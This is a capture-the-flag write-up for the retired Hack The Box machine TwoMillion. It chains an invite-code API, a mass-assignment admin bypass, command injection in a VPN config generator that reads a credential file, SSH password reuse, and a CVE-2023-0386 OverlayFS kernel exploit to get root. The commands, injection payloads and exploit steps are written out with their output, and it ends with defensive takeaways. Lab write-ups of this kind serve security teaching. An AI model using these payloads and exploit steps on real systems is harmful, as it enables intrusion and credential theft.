Hack The Box - TwoMillion
TwoMillion — HTB Writeup (Linux, Easy)
Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.
Machine: TwoMillion · #547 · Linux · Easy · 20 pts Released: 2023-06-07 · Maker: TRX · https://app.hackthebox.com/machines/547

Overview
TwoMillion is the Easy-difficulty box HTB shipped to celebrate two million users: the target itself is a replica of the old Hack The Box platform, invite puzzle and all. Every step reads like platform security 101, and the whole chain is walked in a handful of requests:
- Invite code —
/js/inviteapi.min.jsis packer-obfuscated JavaScript whose deobfuscated body just callsPOST /api/v1/invite/generate, which returns a base64-encoded code. Verify, register, done. - Auth bypass → admin — a hidden endpoint
PUT /api/v1/admin/settings/updateaccepts{"email": "<your own>", "is_admin": 1}without binding the request to the session's actual authorization level. The server trusts the body, not the caller.GET /api/v1/admin/authconfirms{"is_admin":true}. - Command injection —
POST /api/v1/admin/vpn/generateshells out a template likeopenvpn --generate ... $username; the username field takes our whole grammar.test;idruns as www-data; the response body carries the command output back inside the generated.ovpn. - Credential reuse — the injected
cat /var/www/html/.envleaksDB_USERNAME=admin/DB_PASSWORD=SuperDuperPass123. Root-level password reuse (same password on the localadminuser) gives a real shell over SSH. - Kernel escalation — CVE-2023-0386. The box runs
5.15.70-051570-generic(Ubuntu 22.04, April 2023, pre-patch for CVE-2023-0386: OverlayFS file capability copy-up bug). A FUSE-backed exploit mounts a crafted overlay, letsovlcopy_upcopy an unprivileged0600 root:rootfile via a user-namespace-backed mount, and re-creates that exact file on the upper layer with the file capability bits it never should have had. Compiling the PoC (fuse.c,exp.c,getshell.c) on the box and running the classic./fuse ./ovlcap/lower ./gc &/./expdance drops a SUID-capablefilebinary that runsgetshell.c→setuid(0)→system("/bin/bash")→uid=0.
The interesting teaching moment is #2: the admin elevation is not a missing
CAPTCHA, it's an endpoint that trusts request-body identity over the
session's authorization state — an IDOR-shaped mass-assignment. And #4 is a
reminder that .env files don't just leak database credentials: a DB
password copied to a login account is reuse of a code-adjacent secret.
Recon
$ sudo nmap -sC -sV 10.129.229.66 -oN recon/nmap-initial.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
$ echo '10.129.229.66 2million.htb' | sudo tee -a /etc/hosts
$ curl -s --resolve '2million.htb:80:10.129.229.66' http://2million.htb/ | grep -iE 'invite|api|register|login'
The page is the 2023 vintage of HTB's old front end: a launch page with
"Join the machine" and a /invite route. The invite flow links to
/js/inviteapi.min.js.

Foothold — invite code → registration → admin
1) The invite puzzle is just call-what-the-JS-says
fetched /js/inviteapi.min.js → it's packer("-style):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)}; ...
After unpacking, the only interesting tokens are
makeInviteCode | verifyInviteCode
...POST|formData|ajax|type|url|dataType|json|error|data|...
The backend helpfully tells us everything (the invite page's own JS is a decoy — a POST is the real API):
$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{"type":"UTF8","data":"In order to generate the invite code, make a POST request to /api/v1/invite/generate"}
$ curl -s -X POST http://2million.htb/api/v1/invite/generate
{"success":1,"data":"NjRKQkstNUZLM0ItWlNKS0ctNElJNkI="} # base64
$ echo 'NjRKQkstNUZLM0ItWlNKS0ctNElJNkI=' | base64 -d
64JBK-5FK3B-ZSJKG-4II6B
$ curl -s -X POST -H 'Content-Type: application/json' http://2million.htb/api/v1/invite/verify \
-d '{"code":"64JBK-5FK3B-ZSJKG-4II6B"}'
{"success":1}
2) Register
Codes are time-limited/single-use, so generate → verify → register in one immediate motion:
$ curl -s -X POST http://2million.htb/api/v1/user/register \
-H 'Content-Type: application/json' \
-d '{"email":"attacker5@htb.local","password":"P@ssw0rd!123","confirm":"P@ssw0rd!123","invite_code":"64JBK-5FK3B-ZSJKG-4II6B"}' -i
HTTP/2 302 Found
$
$ curl -s -X POST http://2million.htb/api/v1/user/login \
-d 'email=attacker5@htb.local&password=P@ssw0rd!123&remember=on' -i | head -3
HTTP/2 302 Found
Now we have an authenticated session cookie (PHPSESSID=...).
3) Discover the hidden admin endpoints
The SPA loads its own bundle at /js/htb-backend.min.js — grep it for route
strings rather than fuzzing blindly:
$ curl -s http://2million.htb/js/htb-backend.min.js -o /tmp/htb-backend.min.js
$ grep -oE '/api/v[0-9]+[^" ]*' /tmp/htb-backend.min.js | sort -u
/api/v1/admin/auth
/api/v1/admin/vpn/generate
/api/v1/admin/settings/update
/api/v1/invite/verify
/api/v1/user/login
/home/changelog (as an authenticated user) confirms the platform version
1.2.8; the 301s from guessing blind admin paths confirm the listed ones are
the only ones that matter.
4) Mass-assign is_admin
The admin-settings endpoint reads email + is_admin from the request
body and never checks whether the caller is an admin:
$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
-H 'Content-Type: application/json' -b $SESSION \
-d '{"email":"attacker5@htb.local","is_admin":1}'
{"status":200,"id":1146,"email":"attacker5@htb.local","is_admin":1}
$ curl -s http://2million.htb/api/v1/admin/auth -b $SESSION
{"is_admin":true}

5) Command injection in the VPN generator
With admin true, /api/v1/admin/vpn/generate is reachable. It templates the
username straight into a shell command that generates an OpenVPN config.
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H 'Content-Type: application/json' -b $SESSION \
-d '{"username":"test;id;whoami"}' | tail -3
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data

The generated .ovpn is returned to us in the HTTP response — so standard
output from our injected command rides back inside the response. Use
echo/sed markers to slice exactly what you want:
$ curl -s -X POST .../vpn/generate \
-d '{"username":"test;echo START;cat /var/www/html/.env;echo END"}' \
| sed -n '/START/,/END/p'
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=<redacted — in loot/>
DB_USERNAME=admin / DB_PASSWORD=SuperDuperPass123 — and the box
has a local account admin. Password reuse wins again:
$ ssh admin@10.129.229.66
admin@2million:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@2million:~$ cat /home/admin/user.txt # 🏁 user.txt
Privilege Escalation — CVE-2023-0386 (OverlayFS file-capability copy-up)
admin@2million:~$ uname -r
5.15.70-051570-generic # 2023-04 kernel, pre-patch
CVE-2023-0386 is the file-capability copy-up bug in OverlayFS: a file with
security.capability xattrs can be mounted through FUSE with an
unprivileged user-namespace and the upper copy inherits root's file
capabilities even though the user isn't root. The public PoC is small:
// fuse.c — serve a FUSE filesystem whose ./file owner is root, mode 04777
// exp.c — unshare(CLONE_NEWNS|CLONE_NEWUSER), mount(overlay) with
// lowerdir=<FUSE dir>, upperdir/merge → then copy `file` up
// getshell.c — the payload that becomes `file`:
// setgid(0); setuid(0); system("/bin/bash");
admin@2million:/tmp/exploit$ ls
exp exp.c fuse fuse.c gc getshell.c Makefile
admin@2million:/tmp/exploit$ rm -rf ovlcap && mkdir -p ovlcap/{lower,upper,work,merge}
admin@2million:/tmp/exploit$ (./fuse ./ovlcap/lower ./gc &)
admin@2million:/tmp/exploit$ ./exp
[*] exploit success!
Two shell-subtleties from the solve: the & after cd /tmp/exploit && gets
applied to the entire compound, so a naive cd X && ./fuse ... & && ./exp
actually never enters the directory — put the backgrounded FUSE in its own
subshell ( ... & ). And the upper file binary needs its own stdin
because system("/bin/bash") runs an interactive shell:
admin@2million:/tmp/exploit$ echo 'id; cat /root/root.txt' | timeout 5 ./ovlcap/upper/file
uid=0(root) gid=0(root) groups=0(root),1000(admin)

Flags
🏁 user.txt: 9c781986638de7dae2752de2ea61e76c (in loot/user.txt)
🏁 root.txt: 021fc5c7652332254eb70014b8d1e6e2 (in loot/root.txt)
Modern Takeaways
- Endpoints should authorize their caller, not trust their body.
Mass-assignment (
is_admin:1in whatever JSON the server happens to map) is still OWASP #1 material whenever a model has role-shaped fields. If the endpoint is reachable by a mere user and the payload can flip the caller's own role, the "admin-only" prefix does nothing. - Hidden endpoints are not hidden when your JS bundles them.
grep -oE '/api/v[0-9]+'over a minified admin bundle found the entire admin surface in one line — route discovery from client assets beats fuzzy wordlists every time. POST /api/v1/<anything>/generateis a plan for an injection. The response body carrying your shell output back is very convenient — use it..envreuse is the classic chain-closer; addDB_USERNAMEandDB_PASSWORDto any "password totals" correlator you run, because they are not really a DB pair — they are a user account, reused.- Kernel versions matter the day after disclosure. TwoMillion rewards
checking
uname -rbefore hunting for SUIDs:5.15.70-051570-genericwas one of the CVE-2023-0386 build numbers before Ubuntu shipped the update. - Files/commands worth keeping:
recon/nmap-initial.txt,recon/nmap-full.txt— the entire port surface is 2 ports, which is exactly why all the attack surface was web.
Files
recon/— nmap scans.exploit/— the CVE-2023-0386 PoC (fuse.c/exp.c/gc=getshell.c) compiled on-box; no embedded secrets.loot/—user.txt,root.txt(gitignored, mode 0600, not submitted).screenshots/— 5 terminal PNGs (secret-free).